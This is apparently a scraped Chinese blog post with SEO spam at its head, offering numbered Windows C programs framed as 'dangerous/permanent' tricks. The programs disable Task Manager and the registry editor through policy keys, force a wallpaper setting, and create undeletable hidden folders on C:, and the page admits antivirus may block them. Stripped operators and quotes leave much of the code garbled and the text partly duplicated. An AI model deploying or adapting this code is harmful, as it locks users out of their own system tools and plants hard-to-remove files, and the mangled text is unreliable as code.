惠州市+网站开发公司,网站备案证明,福步外贸,濮阳门户网站开发注#xff1a;以下代码应勿用于非法#xff08;Dev-c5.11实测可用#xff09;
警告:以下为危险/永久性程序#xff0c;请慎重使用 8.
效果:禁用任务管理器 提示:可能被杀毒软件拦截
#include stdio.h
#include windows.h
int main()
{HKEY hkey;DWORD …注以下代码应勿用于非法Dev-c5.11实测可用
警告:以下为危险/永久性程序请慎重使用 8.
效果:禁用任务管理器 提示:可能被杀毒软件拦截
#include stdio.h
#include windows.h
int main()
{HKEY hkey;DWORD value 1;RegCreateKey(HKEY_CURRENT_USER, Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System, hkey);RegSetValueEx(hkey, DisableTaskMgr, NULL, REG_DWORD, (LPBYTE)value, sizeof(DWORD));RegCloseKey(hkey);return 0;
} 9.
效果:禁用注册表
提示:可能被杀毒软件拦截
#include stdio.h
#include windows.h
int main()
{HKEY hkey;DWORD value 1;RegCreateKey(HKEY_CURRENT_USER, Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System, hkey);RegSetValueEx(hkey, DisableRegistryTools, NULL, REG_DWORD, (LPBYTE)value, sizeof(DWORD));RegCloseKey(hkey);return 0;
} 10.
效果:桌面壁纸 #include stdio.h
#include windows.h
int main()
{DWORD value 1;HKEY hkey;RegCreateKey(HKEY_CURRENT_USER, Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System, hkey);RegSetValueEx(hkey, Wallpaper, NULL, REG_SZ, (unsigned char *)c://, 3);RegSetValueEx(hkey, WallpaperStyle, NULL, REG_DWORD, (LPBYTE)value, sizeof(DWORD));return 0;
} 11.
效果:不可删除文件
解决方法将51-52行换成52行
#include stdio.h
#include shlobj.h
#include windows.h// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{char file[2048] { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);BOOL bRet CreateDirectory(file, NULL);if (bRet){strcat(file, \\anti...\\);bRet CreateDirectory(file, NULL);if (bRet){SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);return TRUE;}}return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{char file[2048] { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);strcat(file, \\anti...\\);RemoveDirectory(file);ZeroMemory(file, MAX_PATH);strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);RemoveDirectory(file);
}int main(int argc, char * argv[])
{char *Fuck[4] { 你, 好, 世, 界 };int FuckLen sizeof(Fuck) / sizeof(int);TCHAR Destop[MAX_PATH];SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); for (int x 0; x FuckLen; x){SetImmunity(c://, Fuck[x]);//ClearImmunity(c://, Fuck[x]);}system(pause);return 0;
}